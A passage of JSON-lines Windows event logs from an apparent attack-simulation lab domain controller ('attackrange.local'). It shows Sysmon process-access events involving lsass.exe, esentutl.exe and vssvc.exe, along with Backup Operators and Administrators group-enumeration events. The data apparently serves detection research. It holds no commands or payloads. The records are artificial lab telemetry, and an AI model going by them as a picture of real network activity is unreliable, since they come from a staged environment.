11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222107,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222108,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222109,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222110,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222111,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: 